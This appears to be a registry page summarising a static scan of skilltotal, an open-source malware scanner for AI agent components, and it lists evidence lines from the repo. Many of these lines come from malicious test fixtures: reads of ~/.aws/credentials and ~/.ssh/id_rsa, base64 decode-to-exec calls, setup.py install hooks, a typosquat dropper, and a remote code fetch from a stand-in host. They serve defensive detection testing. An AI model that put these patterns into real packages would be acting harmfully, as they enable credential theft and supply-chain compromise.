github Python re-analysis due

pezhik/skilltotal

github

Scan AI components (MCP servers, agent skills, npm/PyPI packages) for malware & risky capabilities. Local, deterministic, evidence-anchored. Free & OSS.

maintainer
pezhik
licence
Apache-2.0
first seen
2026-06-12
last seen
2026-09-17
releases · 30d
14
short id

Drift inferred · capture-to-capture

No drift recorded — single capability capture; advisories appear once its surface changes.

capabilities 1 tools
transport stdio · http counts 1 tools · 0 res · 0 prompts permission surface via README inference

tools

  • run_command
skills & danger signals github-tarball
prompt-surface shipped agent-instruction files + hidden-content / dangerous-code findings — quoted from the analyzed source

analyzed commit 8454c6c · analyzer v33 · 4d ago

skills & prompt files 15

danger signals21

code evidence vv0.44.0 · github-tarball
evidence-backed findings quoted directly from the published source artifact — not inferred

code files: 187

filesystem 78

  • fs pezhik-skilltotal-8454c6c/skilltotal/baseline.py :17 from pathlib import Path
  • fs pezhik-skilltotal-8454c6c/skilltotal/cli.py :39 from pathlib import Path
  • fs pezhik-skilltotal-8454c6c/skilltotal/collector.py :14 import shutil
  • fs pezhik-skilltotal-8454c6c/skilltotal/config.py :29 from pathlib import Path
  • fs pezhik-skilltotal-8454c6c/skilltotal/engine.py :14 from pathlib import Path
  • fs pezhik-skilltotal-8454c6c/skilltotal/file_index.py :19 from pathlib import Path
  • fs pezhik-skilltotal-8454c6c/skilltotal/inventory.py :15 from pathlib import Path
  • fs pezhik-skilltotal-8454c6c/skilltotal/scanners/encrypted_archive.py :16 from pathlib import Path
  • fs pezhik-skilltotal-8454c6c/skilltotal/scanners/filesystem.py :4 (:mod:`skilltotal.scanners.python_ast`), which can also tell ``open(p, 'w')`` from a read.
  • fs pezhik-skilltotal-8454c6c/skilltotal/scanners/python_ast.py :5 ``open(path, 'w')`` (write) from ``open(path)`` (read), and never matches an API name that
  • fs pezhik-skilltotal-8454c6c/skilltotal/scanners/sensitive_paths.py :87 # the credential-exfiltration combo. Real access (a path passed to open()/readFileSync()) is a
  • fs (weak) pezhik-skilltotal-8454c6c/tests/conftest.py :5 from pathlib import Path
show 28 more
  • fs (weak) pezhik-skilltotal-8454c6c/tests/eval_corpus/negative/AST01/credential-exfil/ordinary-config-network/client.py :12 with open("config/settings.json") as fh:
  • fs (weak) pezhik-skilltotal-8454c6c/tests/eval_corpus/negative/AST01/lethal-trifecta/caps-without-injection/agent.py :10 with open("notes.txt") as fh:
  • fs (weak) pezhik-skilltotal-8454c6c/tests/eval_corpus/positive/AST01/credential-exfil/python-aws-post/sync.py :7 with open("~/.aws/credentials") as fh:
  • fs (weak) pezhik-skilltotal-8454c6c/tests/eval_corpus/positive/AST01/credential-exfil/python-evasion-concat-path/sync.py :3 (`expanduser('~') + '/.aws/credentials'`) so it never appears as a single open() argument — then
  • fs (weak) pezhik-skilltotal-8454c6c/tests/eval_corpus/positive/AST01/email-exfil/python-smtp-secret/mailer.py :7 with open("~/.ssh/id_rsa") as fh:
  • fs (weak) pezhik-skilltotal-8454c6c/tests/eval_corpus/positive/AST01/lethal-trifecta/injection-plus-read-egress/agent.py :11 with open("notes.txt") as fh:
  • fs (weak) pezhik-skilltotal-8454c6c/tests/fixtures/malicious_py_pkg/evilpkg/__init__.py :10 creds = open("/home/user/.aws/credentials").read()
  • fs (weak) pezhik-skilltotal-8454c6c/tests/manual_eval/calibrate.py :41 from pathlib import Path
  • fs (weak) pezhik-skilltotal-8454c6c/tests/manual_eval/corpus_report.py :19 from pathlib import Path
  • fs (weak) pezhik-skilltotal-8454c6c/tests/manual_eval/discover_mcp.py :21 from pathlib import Path
  • fs (weak) pezhik-skilltotal-8454c6c/tests/manual_eval/efficacy.py :28 from pathlib import Path
  • fs (weak) pezhik-skilltotal-8454c6c/tests/manual_eval/fetch_corpus.py :12 from pathlib import Path
  • fs (weak) pezhik-skilltotal-8454c6c/tests/manual_eval/gen_zero_width.py :11 from pathlib import Path
  • fs (weak) pezhik-skilltotal-8454c6c/tests/manual_eval/malicious/py-email-stealer/evilpkg/__init__.py :11 creds = open(os.path.expanduser("~/.aws/credentials")).read()
  • fs (weak) pezhik-skilltotal-8454c6c/tests/manual_eval/malicious/pypi-importtime-stealer/evilpkg/__init__.py :20 data[p] = open(p).read()
  • fs (weak) pezhik-skilltotal-8454c6c/tests/manual_eval/run_eval.py :11 from pathlib import Path
  • fs (weak) pezhik-skilltotal-8454c6c/tests/manual_eval/survey_registry.py :34 from pathlib import Path
  • fs (weak) pezhik-skilltotal-8454c6c/tests/manual_eval/survey_report.py :22 from pathlib import Path
  • fs (weak) pezhik-skilltotal-8454c6c/tests/test_agent_skill.py :95 _, ids = _skill(tmp_path, _FM_READ, helper="data = open('data.txt').read()\n")
  • fs (weak) pezhik-skilltotal-8454c6c/tests/test_baseline.py :6 from pathlib import Path
  • fs (weak) pezhik-skilltotal-8454c6c/tests/test_calibrate.py :7 from pathlib import Path
  • fs (weak) pezhik-skilltotal-8454c6c/tests/test_calibration.py :5 from pathlib import Path
  • fs (weak) pezhik-skilltotal-8454c6c/tests/test_cli.py :6 from pathlib import Path
  • fs (weak) pezhik-skilltotal-8454c6c/tests/test_collector_local.py :8 from pathlib import Path
  • fs (weak) pezhik-skilltotal-8454c6c/tests/test_collector_packages.py :18 with tarfile.open(fileobj=buf, mode="w:gz") as tf:
  • fs (weak) pezhik-skilltotal-8454c6c/tests/test_config_and_ignores.py :5 from pathlib import Path
  • fs (weak) pezhik-skilltotal-8454c6c/tests/test_context_demotion.py :11 from pathlib import Path
  • fs (weak) pezhik-skilltotal-8454c6c/tests/test_corpus_report.py :9 from pathlib import Path

38 more not shown — this panel samples each group; the count above is the real total.

shell / exec 17

  • shell pezhik-skilltotal-8454c6c/skilltotal/collector.py :16 import subprocess # nosec B404
  • shell pezhik-skilltotal-8454c6c/skilltotal/scanners/python_ast.py :158 "subprocess.run(['git', 'checkout', branch])); never build a shell string "
  • shell (weak) pezhik-skilltotal-8454c6c/tests/fixtures/malicious_py_pkg/setup.py :2 import subprocess
  • shell (weak) pezhik-skilltotal-8454c6c/tests/manual_eval/fetch_corpus.py :11 import subprocess
  • shell (weak) pezhik-skilltotal-8454c6c/tests/manual_eval/malicious/pypi-typosquat-dropper/setup.py :20 os.system("python -m reqests.bootstrap")
  • shell (weak) pezhik-skilltotal-8454c6c/tests/manual_eval/survey_registry.py :30 import subprocess # nosec B404 - we spawn ourselves, with a fixed argv
  • shell (weak) pezhik-skilltotal-8454c6c/tests/test_agent_skill.py :70 _, ids = _skill(tmp_path, _FM_READ, helper="import subprocess\nsubprocess.run(['ls'])\n")
  • shell (weak) pezhik-skilltotal-8454c6c/tests/test_baseline.py :31 e1 = Evidence(file="a.py", line_start=10, line_end=10, snippet="os.system(x)")
  • shell (weak) pezhik-skilltotal-8454c6c/tests/test_collector_local.py :60 data = _tgz_bytes({"app/main.py": "import subprocess\nsubprocess.run(['id'])\n"})
  • shell (weak) pezhik-skilltotal-8454c6c/tests/test_collector_packages.py :200 import subprocess
  • shell (weak) pezhik-skilltotal-8454c6c/tests/test_command_injection.py :26 code = "import subprocess\nsubprocess.run('git ' + branch, shell=True)\n"
  • shell (weak) pezhik-skilltotal-8454c6c/tests/test_file_index.py :29 assert ev.snippet == "os.system('x')"
show 5 more
  • shell (weak) pezhik-skilltotal-8454c6c/tests/test_policy.py :88 tmp_path, DYN_ONLY + "import subprocess\nsubprocess.run(cmd, shell=True)\n"
  • shell (weak) pezhik-skilltotal-8454c6c/tests/test_pth_exec.py :28 ids, _ = _scan(tmp_path, "x.pth", "import subprocess; subprocess.Popen(['sh','-c','id'])\n")
  • shell (weak) pezhik-skilltotal-8454c6c/tests/test_python_ast.py :20 'doc = "use subprocess.run to spawn" # os.system(x) and eval(y) mentioned\n'
  • shell (weak) pezhik-skilltotal-8454c6c/tests/test_snippet_safety.py :33 f'import subprocess\nsubprocess.run("ls{_RLO}rm -rf")\n', encoding="utf-8"
  • shell (weak) pezhik-skilltotal-8454c6c/tests/test_taint.py :47 code = "import subprocess, os\nsubprocess.run('git ' + os.getenv('B'), shell=True)\n"

network 24

  • net pezhik-skilltotal-8454c6c/skilltotal/collector.py :21 import urllib.request
  • net pezhik-skilltotal-8454c6c/skilltotal/provenance.py :19 import urllib.request
  • net (weak) pezhik-skilltotal-8454c6c/tests/eval_corpus/negative/AST01/credential-exfil/markdown-cited-paths/scripts/preflight.py :5 import urllib.request
  • net (weak) pezhik-skilltotal-8454c6c/tests/eval_corpus/negative/AST01/credential-exfil/ordinary-config-network/client.py :8 import requests
  • net (weak) pezhik-skilltotal-8454c6c/tests/eval_corpus/negative/AST01/lethal-trifecta/caps-without-injection/agent.py :6 import requests
  • net (weak) pezhik-skilltotal-8454c6c/tests/eval_corpus/positive/AST01/credential-exfil/python-aws-post/sync.py :3 import requests
  • net (weak) pezhik-skilltotal-8454c6c/tests/eval_corpus/positive/AST01/credential-exfil/python-evasion-concat-path/sync.py :6 import urllib.request as u
  • net (weak) pezhik-skilltotal-8454c6c/tests/eval_corpus/positive/AST01/decode-exec/python-evasion-alias/loader.py :5 import urllib.request as u
  • net (weak) pezhik-skilltotal-8454c6c/tests/eval_corpus/positive/AST01/lethal-trifecta/injection-plus-read-egress/agent.py :7 import requests
  • net (weak) pezhik-skilltotal-8454c6c/tests/eval_corpus/positive/AST05/deserialize-exec/marshal-exec/loader.py :5 import requests
  • net (weak) pezhik-skilltotal-8454c6c/tests/eval_corpus/positive/AST05/deserialize-exec/pickle-remote/cache.py :5 import urllib.request
  • net (weak) pezhik-skilltotal-8454c6c/tests/fixtures/malicious_py_pkg/evilpkg/__init__.py :5 import requests
show 12 more
  • net (weak) pezhik-skilltotal-8454c6c/tests/manual_eval/discover_mcp.py :19 import urllib.request
  • net (weak) pezhik-skilltotal-8454c6c/tests/manual_eval/malicious/py-marshal-loader/evilpkg/__init__.py :11 import urllib.request
  • net (weak) pezhik-skilltotal-8454c6c/tests/manual_eval/malicious/pypi-importtime-stealer/evilpkg/__init__.py :9 import urllib.request
  • net (weak) pezhik-skilltotal-8454c6c/tests/manual_eval/malicious/pypi-typosquat-dropper/reqests/__init__.py :8 import urllib.request
  • net (weak) pezhik-skilltotal-8454c6c/tests/test_agent_skill.py :65 _, ids = _skill(tmp_path, _FM_READ, helper="import requests\nrequests.get('http://x')\n")
  • net (weak) pezhik-skilltotal-8454c6c/tests/test_collector_urls.py :128 collector.urllib.request, "urlopen", lambda *_a, **_k: _FakeResp(payload)
  • net (weak) pezhik-skilltotal-8454c6c/tests/test_context_demotion.py :123 "import requests\n"
  • net (weak) pezhik-skilltotal-8454c6c/tests/test_flow_and_convergence.py :26 "import requests\n"
  • net (weak) pezhik-skilltotal-8454c6c/tests/test_oauth_auth.py :55 'import requests\n'
  • net (weak) pezhik-skilltotal-8454c6c/tests/test_python_ast.py :52 code = "import requests as r\nr.get('http://x')\n"
  • net (weak) pezhik-skilltotal-8454c6c/tests/test_server_json.py :78 import urllib.error
  • net (weak) pezhik-skilltotal-8454c6c/tests/test_taint.py :42 code = "import requests\nr = requests.get(u).text\nexec(r)\n"

install hooks 3

  • setup.py pezhik-skilltotal-8454c6c/tests/eval_corpus/positive/AST02/install-dropper/python-setup-decode-exec/setup.py :9 class PostInstall(install):
  • setup.py pezhik-skilltotal-8454c6c/tests/eval_corpus/positive/AST02/typosquat-dropper/python-reqests/setup.py :15 setup(name="reqests", version="0.0.1", cmdclass={"install": Hook})
  • setup.py pezhik-skilltotal-8454c6c/tests/manual_eval/malicious/pypi-typosquat-dropper/setup.py :14 class PostInstall(install):

declared dependencies 8

  • pytest@>=7.0
  • ruff@>=0.4
  • jsonschema@>=4.0
  • bandit@>=1.7
  • build@>=1.0
  • twine@>=5.0
  • pre-commit@>=3.5
  • detect-secrets@>=1.5

obfuscation 9

  • base64 decode → exec sink pezhik-skilltotal-8454c6c/skilltotal/scanners/obfuscation.py :3 A decode-and-execute chain (e.g. ``eval(atob(...))``) is a confirmed, evidence-backed
  • base64 decode → exec sink pezhik-skilltotal-8454c6c/skilltotal/scanners/pth_exec.py :8 the signature of a malicious payload (e.g. ``exec(base64.b64decode(...))``). A bare ``exec`` of
  • base64 decode → exec sink pezhik-skilltotal-8454c6c/tests/eval_corpus/positive/AST01/decode-exec/python-base/update_helper.py :7 exec(base64.b64decode(_PAYLOAD))
  • base64 decode → exec sink pezhik-skilltotal-8454c6c/tests/eval_corpus/positive/AST02/install-dropper/python-setup-decode-exec/setup.py :11 exec(base64.b64decode("cHJpbnQoImZpeHR1cmUiKQ=="))
  • base64 decode → exec sink pezhik-skilltotal-8454c6c/tests/eval_corpus/positive/AST02/typosquat-dropper/python-reqests/setup.py :11 exec(base64.b64decode("cHJpbnQoImZpeHR1cmUiKQ=="))
  • base64 decode → exec sink pezhik-skilltotal-8454c6c/tests/fixtures/malicious_py_pkg/evilpkg/__init__.py :13 exec(base64.b64decode("cHJpbnQoJ2hpJyk="))
  • base64 decode → exec sink pezhik-skilltotal-8454c6c/tests/manual_eval/malicious/py-marshal-loader/evilpkg/__init__.py :5 review just like exec(base64.b64decode(...)), but using a serializer instead of an encoder.
  • base64 decode → exec sink pezhik-skilltotal-8454c6c/tests/manual_eval/malicious/pypi-importtime-stealer/evilpkg/__init__.py :28 exec(base64.b64decode(b"cHJpbnQoJ2luaXRpYWxpemVkJyk="))
  • base64 decode → exec sink pezhik-skilltotal-8454c6c/tests/manual_eval/malicious/pypi-typosquat-dropper/reqests/__init__.py :13 exec(base64.b64decode(_payload)) # noqa: S102 - decode-and-exec is the detection target

perm:untrusted 2

  • untrusted (weak) pezhik-skilltotal-8454c6c/tests/eval_corpus/positive/AST05/deserialize-exec/marshal-exec/loader.py :9 blob = requests.get("https://stage.example.test/code.bin").content
  • untrusted (weak) pezhik-skilltotal-8454c6c/tests/test_taint.py :42 code = "import requests\nr = requests.get(u).text\nexec(r)\n"

transport_posture 2

  • binds all interfaces (0.0.0.0) pezhik-skilltotal-8454c6c/tests/test_context_demotion.py :90 _write(tmp_path, "srv.py", 'def main():\n app.run(host="0.0.0.0", port=80)\n')
  • network-listening, binds all interfaces, no auth detected pezhik-skilltotal-8454c6c/tests/test_exposure.py :20 res = _scan(tmp_path, "app.py", "app.run(host='0.0.0.0', port=8000)\n")